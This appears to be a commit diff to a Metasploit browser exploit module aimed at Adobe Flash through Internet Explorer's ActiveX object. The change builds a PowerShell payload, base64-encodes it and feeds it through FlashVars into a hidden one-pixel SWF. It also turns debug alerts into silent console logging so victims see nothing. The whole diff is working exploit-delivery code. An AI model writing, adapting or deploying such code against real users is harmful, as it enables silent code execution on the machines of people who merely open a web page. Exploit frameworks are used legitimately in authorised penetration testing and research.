@@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
1010
1111 CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'
1212
13+ include Msf ::Exploit ::Powershell
1314 include Msf ::Exploit ::Remote ::BrowserExploitServer
1415
1516 def initialize ( info = { } )
@@ -82,25 +83,27 @@ def on_request_exploit(cli, request, target_info)
8283 def exploit_template ( cli , target_info )
8384
8485 swf_random = "#{ rand_text_alpha ( 4 + rand ( 3 ) ) } .swf"
85- #shellcode = get_payload(cli, target_info).unpack("H*")[0]
86+ target_payload = get_payload ( cli , target_info )
87+ psh_payload = cmd_psh_payload ( target_payload , 'x86' , { remove_comspec : true } )
88+ b64_payload = Rex ::Text . encode_base64 ( psh_payload )
8689
8790 html_template = %Q|<html>
8891 <body>
8992 <object classid="clsid:#{ CLASSID } " codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
9093 <param name="movie" value="<%=swf_random%>" />
9194 <param name="allowScriptAccess" value="always" />
92- <param name="FlashVars" value="" />
95+ <param name="FlashVars" value="sh=<%=b64_payload%> " />
9396 <param name="Play" value="true" />
94- <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="" Play="true"/>
97+ <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%> " Play="true"/>
9598 </object>
9699
97100 <script>
98101 function debug_alert(msg) {
99- alert (msg);
102+ console.log (msg);
100103 }
101104
102105 function debug_print(msg) {
103- alert (msg);
106+ console.log (msg);
104107 }
105108 </script>
106109 </body>
0 commit comments